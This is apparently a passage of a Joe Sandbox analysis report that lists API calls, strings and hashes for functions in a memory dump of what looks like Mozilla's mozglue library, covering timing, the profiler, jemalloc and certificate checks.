Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
QPC, xrefs: 6C4D38FC
AuthcAMDenti, xrefs: 6C4D3946
GenuntelineI, xrefs: 6C4D3639
GTC, xrefs: 6C4D3912

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

[I %d/%d] profiler_init, xrefs: 6C4E564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

SHA256, xrefs: 6C4E6EC0
(, xrefs: 6C4E768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
wintrust.dll, xrefs: 6C4E72CD

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
MALLOC_OPTIONS, xrefs: 6C5097CA
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_CRASH(), xrefs: 6C509B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
<jemalloc>, xrefs: 6C509B33, 6C509BE3

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
